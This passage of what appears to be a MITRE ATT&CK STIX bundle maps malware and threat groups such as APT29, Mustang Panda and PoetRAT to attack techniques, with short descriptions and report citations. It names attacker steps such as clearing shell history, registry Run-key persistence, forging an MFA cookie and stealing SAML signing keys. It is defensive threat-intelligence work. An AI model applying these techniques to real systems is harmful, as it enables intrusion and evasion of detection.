                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has used history -c to clear script shell logs.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--9bfac7bf-f5a7-4e43-99c6-fb1a86c0dbe3",
            "type": "relationship",
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            ],
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            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has used masscan to look for kubelets in the internal Kubernetes network.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--4c1c2160-0b1d-4bb9-be29-e0c6e0570a2d",
            "type": "relationship",
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        },
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            ],
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            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has encrypted an ELF file.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
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            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Blackberry Bahamut",
                    "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf",
                    "description": "The Blackberry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used string encoding with floating point calculations.(Citation: Blackberry Bahamut)",
            "relationship_type": "uses",
            "id": "relationship--996defcb-8a62-4271-9d01-93d66525b159",
            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Blackberry Bahamut",
                    "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf",
                    "description": "The Blackberry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used tools that communicate with C2 over HTTP.(Citation: Blackberry Bahamut)",
            "relationship_type": "uses",
            "id": "relationship--aca30dc6-34c2-45f3-87a4-9d9abda01036",
            "type": "relationship",
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        },
        {
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            ],
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            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "Blackberry Bahamut",
                    "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf",
                    "description": "The Blackberry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used Visual Basic 6 (VB6) payloads.(Citation: Blackberry Bahamut)",
            "relationship_type": "uses",
            "id": "relationship--116f105a-ee8c-4544-9164-a0a28a572228",
            "type": "relationship",
            "modified": "2021-04-19T19:24:55.652Z",
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        },
        {
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            ],
            "source_ref": "malware--b7010785-699f-412f-ba49-524da6033c76",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[GoldFinder](https://attack.mitre.org/software/S0597) logged and stored information related to the route or hops a packet took from a compromised machine to a hardcoded C2 server, including the target C2 URL, HTTP response/status code, HTTP response headers and values, and data received from the C2 node.(Citation: MSTIC NOBELIUM Mar 2021)  ",
            "relationship_type": "uses",
            "id": "relationship--b98063a7-6649-429f-8376-4d59499e7674",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT October 2020",
                    "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html",
                    "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has exfiltrated data over the C2 channel.(Citation: Talos PoetRAT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--03f69381-89e2-411a-8302-323c8a1bddfa",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT October 2020",
                    "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html",
                    "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used FTP for C2 communications.(Citation: Talos PoetRAT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--0a0c827d-98ba-4f95-a6ef-b0a34765d0f4",
            "type": "relationship",
            "modified": "2021-04-12T12:44:34.213Z",
            "created": "2021-04-12T12:44:34.213Z"
        },
        {
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT October 2020",
                    "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html",
                    "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used HTTP and HTTPs for C2 communications.(Citation: Talos PoetRAT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--6d1818b1-0a98-4a1f-9c89-9c44f305e447",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT October 2020",
                    "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html",
                    "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has called cmd through a Word document macro.(Citation: Talos PoetRAT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--17db0e04-2e71-4f29-9086-266503e6d000",
            "type": "relationship",
            "modified": "2021-04-24T21:20:31.931Z",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT October 2020",
                    "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html",
                    "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used LZMA and base64 libraries to decode obfuscated scripts.(Citation: Talos PoetRAT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--df0ee75f-5e10-40d7-a0ac-e6c281e0d4b9",
            "type": "relationship",
            "modified": "2021-04-12T12:44:34.250Z",
            "created": "2021-04-12T12:44:34.250Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) has been disguised as a legitimate service using the name PythonUpdateSrvc.(Citation: Unit 42 IronNetInjector February 2021 )",
            "relationship_type": "uses",
            "id": "relationship--8d305ed1-3ac5-4431-ae3c-766d430d9d5f",
            "type": "relationship",
            "modified": "2021-04-12T15:19:35.720Z",
            "created": "2021-04-12T15:19:35.720Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021."
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                    "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021."
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                    "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."
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                    "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."
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                    "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."
                },
                {
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                    "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations",
                    "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."
                },
                {
                    "source_name": "Secureworks BRONZE PRESIDENT December 2019",
                    "url": "https://www.secureworks.com/research/bronze-president-targets-ngos",
                    "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."
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                {
                    "source_name": "Recorded Future REDDELTA July 2020",
                    "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf",
                    "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."
                },
                {
                    "source_name": "Proofpoint TA416 November 2020",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader",
                    "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021."
                }
            ],
            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has delivered initial payloads hidden using archives and encoding measures.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 November 2020)",
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                },
                {
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                    "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations",
                    "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."
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                    "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."
                },
                {
                    "source_name": "Anomali MUSTANG PANDA October 2019",
                    "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations",
                    "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."
                },
                {
                    "source_name": "Avira Mustang Panda January 2020",
                    "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong",
                    "description": "Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."
                },
                {
                    "source_name": "Recorded Future REDDELTA July 2020",
                    "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf",
                    "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."
                }
            ],
            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has sent malicious files requiring direct victim interaction to execute.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Avira Mustang Panda January 2020)(Citation: Recorded Future REDDELTA July 2020)",
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            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used <code>tasklist /v</code> to determine active process information.(Citation: Avira Mustang Panda January 2020)\t",
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                }
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            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has created the registry key <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\AdobelmdyU</code> to maintain persistence.(Citation: Proofpoint TA416 November 2020)",
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            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used junk code within their DLL files to hinder analysis.(Citation: Avira Mustang Panda January 2020)",
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            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has encrypted C2 communications with RC4.(Citation: Recorded Future REDDELTA July 2020)",
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                    "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021."
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                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
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            "external_references": [
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used <code>netsh</code> to configure firewall rules that limited certain UDP outbound packets.(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--b01b8273-ca9d-4737-be37-ec1b088cce13",
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            "external_references": [
                {
                    "source_name": "Symantec RAINDROP January 2021",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used 7-Zip to decode its [Raindrop](https://attack.mitre.org/software/S0565) malware.(Citation: Symantec RAINDROP January 2021)",
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            "id": "relationship--1b1883b4-6fc9-487a-8429-6a0c0322e26d",
            "type": "relationship",
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                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) obtained the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.(Citation: Microsoft 365 Defender Solorigate)",
            "relationship_type": "uses",
            "id": "relationship--b736d393-d6ac-49cd-b81e-06a40ec9b48b",
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                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used the service control manager on a remote system to disable services associated with security monitoring products.(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--b75ff682-def9-4928-8396-f12a078a54e3",
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                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline.(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--e6b1270f-e792-4ba3-ba09-6452481c42ff",
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                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used [AdFind](https://attack.mitre.org/software/S0552) to enumerate remote systems.(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
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            "type": "relationship",
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            "external_references": [
                {
                    "source_name": "Symantec RAINDROP January 2021",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used WinRM via PowerShell to execute command and payloads on remote hosts.(Citation: Symantec RAINDROP January 2021)",
            "relationship_type": "uses",
            "id": "relationship--757dd365-1b17-4bee-af4e-44a409d8d3f8",
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        {
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                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used <code>fsutil</code> to check available free space before executing actions that might create large files on disk.(Citation: Microsoft Deep Dive Solorigate January 2021)",
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            "external_references": [
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used account credentials they obtained to attempt access to Group Managed Service Account (gMSA) passwords.(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--2fc7a851-81b8-4046-acdc-96801b4081f2",
            "type": "relationship",
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            "created": "2021-04-16T21:33:50.643Z"
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used a forged <code>duo-sid</code> cookie to bypass MFA set on an email account.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--251259cf-8e05-49b5-aeda-fc71cac14c92",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.702Z",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "external_references": [
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used different compromised credentials for remote access and to move laterally.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--b43fffda-8c38-4f86-b046-5792882c9ee4",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used multiple command-line utilities to enumerate running processes.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--367f5489-4e50-4227-8c67-076970dda868",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.704Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee",
            "external_references": [
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.(Citation: Microsoft 365 Defender Solorigate)",
            "relationship_type": "uses",
            "id": "relationship--4de19366-5706-4b43-b105-089b85321f46",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
            "external_references": [
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) leveraged privileged accounts to replicate directory service data with domain controllers.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--26235ba8-b63a-4a45-8868-cafdd3482db5",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.765Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used the <code>Get-AcceptedDomain</code> PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell.(Citation: Volexity SolarWinds) They also used [AdFind](https://attack.mitre.org/software/S0552) to enumerate domains and to discover trust between federated domains.(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--7bf0a568-d639-4aa0-9f2e-25d821d79320",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.767Z",
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        {
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            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has extracted files from compromised networks.(Citation: Volexity SolarWinds) ",
            "relationship_type": "uses",
            "id": "relationship--4f12d30c-ddd2-4100-9554-1d3f0905b834",
            "type": "relationship",
            "modified": "2021-04-16T21:33:50.770Z",
            "created": "2021-04-16T21:33:50.770Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "external_references": [
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                }
